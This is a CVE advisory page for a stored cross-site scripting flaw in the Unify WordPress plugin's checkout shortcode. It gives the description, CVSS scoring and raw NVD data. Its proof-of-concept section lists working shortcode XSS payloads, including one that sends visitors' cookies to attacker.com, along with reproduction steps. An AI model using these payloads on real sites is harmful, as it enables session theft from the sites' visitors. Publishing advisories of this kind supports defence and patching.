Security Vulnerability Report
中文
CVE-2025-9130 CVSS 6.4 MEDIUM

CVE-2025-9130

Published: 2025-10-03 12:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Unify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin for WordPress's unify_checkout shortcode in all versions up to, and including, 3.4.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Unify 插件 <= 3.4.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-9130 --> <!-- Exploits the unify_checkout shortcode in WordPress Unify plugin (<= 3.4.7) --> <!-- Requires contributor-level or higher access to inject the payload --> [unify_checkout malicious_attr="<script>alert(document.cookie)</script>" another_attr='" onmouseover="alert(1)'] <!-- Alternative payload using event handler injection --> [unify_checkout checkout_id="1" onerror="<img src=x onerror=alert('XSS-'+document.domain)>" /] <!-- Payload to steal cookies and exfiltrate to attacker server --> [unify_checkout attr1="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" /] <!-- Steps to reproduce: 1. Login as contributor or higher role 2. Create a new post or page 3. Insert the malicious shortcode above in the content 4. Publish the post 5. When any user visits the published page, the XSS payload executes -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9130", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:46.040", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Unify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin for WordPress's unify_checkout shortcode in all versions up to, and including, 3.4.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/unify/tags/3.4.7/Actions/PlatformApi.php#L379", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/unify/tags/3.4.8/Actions/PlatformApi.php#L379", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/unify/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1703a5be-f399-4ea5-8d98-a2efda674aa6?source=cve", "source": "[email protected]"}]}}